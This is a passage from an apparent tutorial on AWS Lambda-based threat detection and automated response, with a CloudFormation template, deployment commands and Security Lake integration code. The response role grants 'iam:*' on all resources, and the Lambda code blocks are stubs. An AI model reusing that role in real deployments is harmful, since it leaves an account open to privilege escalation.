</span><span class="n">response_handler</span> <span class="o">=</span> <span class="nc">SecurityAutomatedResponse</span><span class="p">()</span>
<span class="n">lambda_handler</span> <span class="o">=</span> <span class="n">response_handler</span><span class="p">.</span><span class="n">lambda_handler</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="aws-integration-and-implementation">AWS Integration and Implementation</h2>

<h3 id="cloudformation-template-for-complete-deployment">CloudFormation Template for Complete Deployment</h3>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
</pre></td><td class="rouge-code"><pre><span class="na">AWSTemplateFormatVersion</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2010-09-09'</span>
<span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">AWS</span><span class="nv"> </span><span class="s">Lambda-based</span><span class="nv"> </span><span class="s">Automated</span><span class="nv"> </span><span class="s">Threat</span><span class="nv"> </span><span class="s">Detection</span><span class="nv"> </span><span class="s">System'</span>

<span class="na">Parameters</span><span class="pi">:</span>
  <span class="na">NotificationEmail</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Email address for security alerts</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">security@example.com</span>
  
  <span class="na">SecurityHubRegion</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">AWS Region for Security Hub</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">us-east-1</span>

<span class="na">Resources</span><span class="pi">:</span>
  <span class="c1"># IAM Role for Threat Detection Lambda</span>
  <span class="na">ThreatDetectionRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="s">Lambda-ThreatDetection-Role</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">lambda.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">ThreatDetectionPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                  <span class="pi">-</span> <span class="s">logs:DescribeLogGroups</span>
                  <span class="pi">-</span> <span class="s">logs:DescribeLogStreams</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">sns:Publish</span>
                  <span class="pi">-</span> <span class="s">sns:CreateTopic</span>
                  <span class="pi">-</span> <span class="s">sns:Subscribe</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">securityhub:BatchImportFindings</span>
                  <span class="pi">-</span> <span class="s">securityhub:GetFindings</span>
                  <span class="pi">-</span> <span class="s">securityhub:UpdateFindings</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">lambda:InvokeFunction</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:lambda:${AWS::Region}:${AWS::AccountId}:function:security-*'</span>

  <span class="c1"># IAM Role for Automated Response Lambda</span>
  <span class="na">AutomatedResponseRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="s">Lambda-AutomatedResponse-Role</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">lambda.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">AutomatedResponsePolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">iam:*</span>
                  <span class="pi">-</span> <span class="s">ec2:AuthorizeSecurityGroupIngress</span>
                  <span class="pi">-</span> <span class="s">ec2:RevokeSecurityGroupIngress</span>
                  <span class="pi">-</span> <span class="s">ec2:DescribeSecurityGroups</span>
                  <span class="pi">-</span> <span class="s">ec2:DescribeInstances</span>
                  <span class="pi">-</span> <span class="s">s3:PutBucketLogging</span>
                  <span class="pi">-</span> <span class="s">s3:GetBucketLogging</span>
                  <span class="pi">-</span> <span class="s">rds:ModifyDBInstance</span>
                  <span class="pi">-</span> <span class="s">rds:DescribeDBInstances</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>

  <span class="c1"># SNS Topic for Security Alerts</span>
  <span class="na">SecurityAlertsTopic</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SNS::Topic</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TopicName</span><span class="pi">:</span> <span class="s">security-alerts</span>
      <span class="na">DisplayName</span><span class="pi">:</span> <span class="s">Security Threat Alerts</span>
      <span class="na">Subscription</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Endpoint</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">NotificationEmail</span>
          <span class="na">Protocol</span><span class="pi">:</span> <span class="s">email</span>

  <span class="c1"># Lambda Function for Threat Detection</span>
  <span class="na">ThreatDetectionFunction</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Function</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="s">cloudtrail-threat-detector</span>
      <span class="na">Runtime</span><span class="pi">:</span> <span class="s">python3.11</span>
      <span class="na">Handler</span><span class="pi">:</span> <span class="s">index.lambda_handler</span>
      <span class="na">Role</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">ThreatDetectionRole.Arn</span>
      <span class="na">Timeout</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">MemorySize</span><span class="pi">:</span> <span class="m">1024</span>
      <span class="na">Environment</span><span class="pi">:</span>
        <span class="na">Variables</span><span class="pi">:</span>
          <span class="na">SNS_TOPIC_ARN</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityAlertsTopic</span>
          <span class="na">SECURITY_HUB_REGION</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityHubRegion</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">ZipFile</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s"># Threat detection code would be deployed here</span>
          <span class="s"># (Use the CloudTrailThreatDetector class from above)</span>
          
          <span class="s">def lambda_handler(event, context):</span>
              <span class="s">return {"statusCode": 200, "body": "Threat detection function deployed"}</span>

  <span class="c1"># Lambda Function for Automated Response</span>
  <span class="na">AutomatedResponseFunction</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Function</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="s">security-automated-response</span>
      <span class="na">Runtime</span><span class="pi">:</span> <span class="s">python3.11</span>
      <span class="na">Handler</span><span class="pi">:</span> <span class="s">index.lambda_handler</span>
      <span class="na">Role</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">AutomatedResponseRole.Arn</span>
      <span class="na">Timeout</span><span class="pi">:</span> <span class="m">600</span>
      <span class="na">MemorySize</span><span class="pi">:</span> <span class="m">512</span>
      <span class="na">Code</span><span class="pi">:</span>
        <span class="na">ZipFile</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s"># Automated response code would be deployed here</span>
          <span class="s"># (Use the SecurityAutomatedResponse class from above)</span>
          
          <span class="s">def lambda_handler(event, context):</span>
              <span class="s">return {"statusCode": 200, "body": "Automated response function deployed"}</span>

  <span class="c1"># CloudWatch Log Group for CloudTrail</span>
  <span class="na">CloudTrailLogGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Logs::LogGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">LogGroupName</span><span class="pi">:</span> <span class="s">/aws/cloudtrail/security-monitoring</span>
      <span class="na">RetentionInDays</span><span class="pi">:</span> <span class="m">90</span>

  <span class="c1"># CloudTrail for Event Monitoring</span>
  <span class="na">SecurityMonitoringTrail</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudTrail::Trail</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TrailName</span><span class="pi">:</span> <span class="s">security-monitoring-trail</span>
      <span class="na">S3BucketName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">CloudTrailBucket</span>
      <span class="na">IncludeGlobalServiceEvents</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">IsMultiRegionTrail</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">EnableLogFileValidation</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">CloudWatchLogsLogGroupArn</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${CloudTrailLogGroup.Arn}:*'</span>
      <span class="na">CloudWatchLogsRoleArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">CloudTrailLogsRole.Arn</span>
      <span class="na">EventSelectors</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">ReadWriteType</span><span class="pi">:</span> <span class="s">All</span>
          <span class="na">IncludeManagementEvents</span><span class="pi">:</span> <span class="kc">true</span>
          <span class="na">DataResources</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::S3::Object</span>
              <span class="na">Values</span><span class="pi">:</span> 
                <span class="pi">-</span> <span class="s2">"</span><span class="s">arn:aws:s3:::*/*"</span>

  <span class="c1"># S3 Bucket for CloudTrail Logs</span>
  <span class="na">CloudTrailBucket</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::S3::Bucket</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">BucketName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">cloudtrail-logs-${AWS::AccountId}-${AWS::Region}'</span>
      <span class="na">PublicAccessBlockConfiguration</span><span class="pi">:</span>
        <span class="na">BlockPublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">BlockPublicPolicy</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">IgnorePublicAcls</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">RestrictPublicBuckets</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">BucketEncryption</span><span class="pi">:</span>
        <span class="na">ServerSideEncryptionConfiguration</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">ServerSideEncryptionByDefault</span><span class="pi">:</span>
              <span class="na">SSEAlgorithm</span><span class="pi">:</span> <span class="s">AES256</span>

  <span class="c1"># CloudTrail Logs Role</span>
  <span class="na">CloudTrailLogsRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">cloudtrail.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">CloudTrailLogsPolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:DescribeLogStreams</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${CloudTrailLogGroup.Arn}:*'</span>

  <span class="c1"># CloudWatch Log Subscription Filter</span>
  <span class="na">ThreatDetectionSubscriptionFilter</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Logs::SubscriptionFilter</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">LogGroupName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">CloudTrailLogGroup</span>
      <span class="na">FilterPattern</span><span class="pi">:</span> <span class="s1">'</span><span class="s">'</span>
      <span class="na">DestinationArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">ThreatDetectionFunction.Arn</span>

  <span class="c1"># Lambda Permission for CloudWatch Logs</span>
  <span class="na">LambdaInvokePermission</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Lambda::Permission</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">FunctionName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ThreatDetectionFunction</span>
      <span class="na">Action</span><span class="pi">:</span> <span class="s">lambda:InvokeFunction</span>
      <span class="na">Principal</span><span class="pi">:</span> <span class="s">logs.amazonaws.com</span>
      <span class="na">SourceArn</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${CloudTrailLogGroup.Arn}:*'</span>

<span class="na">Outputs</span><span class="pi">:</span>
  <span class="na">ThreatDetectionFunctionArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ARN of the Threat Detection Lambda Function</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">ThreatDetectionFunction.Arn</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-ThreatDetectionFunction'</span>
  
  <span class="na">AutomatedResponseFunctionArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ARN of the Automated Response Lambda Function</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">AutomatedResponseFunction.Arn</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-AutomatedResponseFunction'</span>
  
  <span class="na">SecurityAlertsTopicArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ARN of the Security Alerts SNS Topic</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityAlertsTopic</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-SecurityAlertsTopic'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="deployment-commands">Deployment Commands</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="c"># Deploy the CloudFormation stack</span>
aws cloudformation create-stack <span class="se">\</span>
    <span class="nt">--stack-name</span> lambda-threat-detection <span class="se">\</span>
    <span class="nt">--template-body</span> file://threat-detection-stack.yaml <span class="se">\</span>
    <span class="nt">--parameters</span> <span class="nv">ParameterKey</span><span class="o">=</span>NotificationEmail,ParameterValue<span class="o">=</span>security@yourcompany.com <span class="se">\</span>
    <span class="nt">--capabilities</span> CAPABILITY_NAMED_IAM <span class="se">\</span>
    <span class="nt">--region</span> us-east-1

<span class="c"># Update Lambda function code</span>
aws lambda update-function-code <span class="se">\</span>
    <span class="nt">--function-name</span> cloudtrail-threat-detector <span class="se">\</span>
    <span class="nt">--zip-file</span> fileb://threat-detection-function.zip

aws lambda update-function-code <span class="se">\</span>
    <span class="nt">--function-name</span> security-automated-response <span class="se">\</span>
    <span class="nt">--zip-file</span> fileb://automated-response-function.zip

<span class="c"># Test the deployment</span>
aws lambda invoke <span class="se">\</span>
    <span class="nt">--function-name</span> cloudtrail-threat-detector <span class="se">\</span>
    <span class="nt">--payload</span> file://test-event.json <span class="se">\</span>
    output.json

<span class="c"># Enable CloudTrail</span>
aws cloudtrail start-logging <span class="se">\</span>
    <span class="nt">--name</span> security-monitoring-trail
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="advanced-security-monitoring-integration">Advanced Security Monitoring Integration</h2>

<h3 id="security-lake-integration">Security Lake Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span>

<span class="k">class</span> <span class="nc">SecurityLakeIntegration</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">security_lake</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">securitylake</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">send_to_security_lake</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_data</span><span class="p">:</span> <span class="nb">dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Send threat detection data to AWS Security Lake</span><span class="sh">"""</span>
        
        <span class="c1"># Format data for Security Lake OCSF schema
</span>        <span class="n">ocsf_event</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">metadata</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">1.0.0</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">product</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">name</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Lambda Threat Detector</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">vendor_name</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Custom Security Solution</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="sh">"</span><span class="s">profiles</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="sh">"</span><span class="s">security_control</span><span class="sh">"</span><span class="p">],</span>
                <span class="sh">"</span><span class="s">event_code</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">threat_detected</span><span class="sh">"</span>
            <span class="p">},</span>
            <span class="sh">"</span><span class="s">time</span><span class="sh">"</span><span class="p">:</span> <span class="nf">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">).</span><span class="nf">timestamp</span><span class="p">()</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">),</span>
            <span class="sh">"</span><span class="s">category_uid</span><span class="sh">"</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span>  <span class="c1"># Findings
</span>            <span class="sh">"</span><span class="s">class_uid</span><span class="sh">"</span><span class="p">:</span> <span class="mi">2001</span><span class="p">,</span>  <span class="c1"># Security Finding
</span>            <span class="sh">"</span><span class="s">severity_id</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">map_severity_to_id</span><span class="p">(</span><span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">)),</span>
            <span class="sh">"</span><span class="s">activity_id</span><span class="sh">"</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>   <span class="c1"># Create
</span>            <span class="sh">"</span><span class="s">type_uid</span><span class="sh">"</span><span class="p">:</span> <span class="mi">200101</span><span class="p">,</span> <span class="c1"># Security Finding: Create
</span>            <span class="sh">"</span><span class="s">finding</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">title</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Threat Detected: </span><span class="si">{</span><span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">desc</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Automated threat detection identified </span><span class="si">{</span><span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">type_uid</span><span class="sh">"</span><span class="p">:</span> <span class="mi">200101</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">uid</span><span class="sh">"</span><span class="p">:</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">finding_id</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">"</span><span class="s">confidence_id</span><span class="sh">"</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">map_confidence_to_id</span><span class="p">(</span><span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">,</span> <span class="mf">0.5</span><span class="p">)),</span>
                <span class="sh">"</span><span class="s">src_url</span><span class="sh">"</span><span class="p">:</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">cloudtrail_event_url</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="p">},</span>
            <span class="sh">"</span><span class="s">cloud</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">account</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">uid</span><span class="sh">"</span><span class="p">:</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">account_id</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                    <span class="sh">"</span><span class="s">type_id</span><span class="sh">"</span><span class="p">:</span> <span class="mi">10</span>  <span class="c1"># AWS Account
</span>                <span class="p">},</span>
                <span class="sh">"</span><span class="s">region</span><span class="sh">"</span><span class="p">:</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">aws_region</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                <span class="sh">"</span><span class="s">provider</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">AWS</span><span class="sh">"</span>
            <span class="p">},</span>
            <span class="sh">"</span><span class="s">actor</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">user</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">"</span><span class="s">uid</span><span class="sh">"</span><span class="p">:</span> <span class="n">threat_data</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">user_identity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">principalId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">),</span>
                    <span class="sh">"</span><span class="s">type_id</span><span class="sh">"</span><span class="p">:</span> <span class="mi">1</span>  <span class="c1"># User
</span>                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="c1"># Send to Security Lake
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Note: This is a simplified example
</span>            <span class="c1"># Actual implementation would use Security Lake APIs
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">store_in_security_lake_bucket</span><span class="p">(</span><span class="n">ocsf_event</span><span class="p">)</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
